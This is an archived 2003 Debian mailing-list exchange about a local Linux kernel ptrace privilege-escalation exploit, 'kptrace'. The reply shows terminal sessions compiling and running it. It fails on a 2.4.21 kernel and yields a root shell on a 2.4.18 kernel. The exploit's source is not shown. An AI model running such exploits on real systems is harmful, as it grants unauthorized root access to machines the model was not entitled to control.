RE: check this.

["Brooks R. Robinson" <brooks.robinson@rides.com>]

It kind of works.....

This is a 3.0r2 machine...
debian@debian:~$ uname -r
2.4.21
debian@debian:~$ make kptrace
cc     kptrace.c   -o kptrace
debian@debian:~$ ./kptrace
[-] Unable to attach: Operation not permitted
Killed
debian@debian:~$



This is a fairly recent testing/unstable machine....
debdesk:~/rootkit$ uname -r
2.4.18
debdesk:~/rootkit$ make kptrace
cc     kptrace.c   -o kptrace
debdesk:~/rootkit$ ./kptrace
[+] Attached to 23033
[+] Signal caught
[+] Shellcode placed at 0x4001144d
[+] Now wait for suid shell...
sh-2.05b# whoami
root
sh-2.05b#

| -----Original Message-----
| From: Vyacheslav Mukha [mailto:vmukha@adic.kiev.ua]
| Sent: Monday, December 01, 2003 9:10 AM
| To: debian-project@lists.debian.org
| Subject: check this.
| 
| 
| This exploit work on my Debian woody 3.r1 and get root .
| May be  that script is instrument .
| 
| Thanks,
| 
| -- 
| ADIC Ukraine
| Slawa Mukha
| Software tester
| phone: 380.044.568.50.89
| email: vmukha@adic.kiev.ua
| 
| 
|